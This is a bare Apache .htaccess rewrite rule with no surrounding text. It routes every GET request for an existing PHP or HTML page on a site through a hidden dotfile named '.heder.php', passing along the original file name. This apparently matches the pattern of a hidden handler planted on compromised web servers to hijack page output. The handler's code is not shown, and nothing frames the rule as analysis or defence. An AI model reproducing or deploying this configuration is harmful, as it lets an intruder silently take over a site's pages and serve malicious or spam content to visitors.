RewriteEngine On RewriteCond %{REQUEST_METHOD} GET RewriteCond %{REQUEST_FILENAME} -f RewriteCond %{REQUEST_FILENAME} !.heder.php RewriteRule (.*)\.(php|html|htm|php3|phtml|shtml) \.heder.php?%{QUERY_STRING}&qq=$1.$2 [NC,L]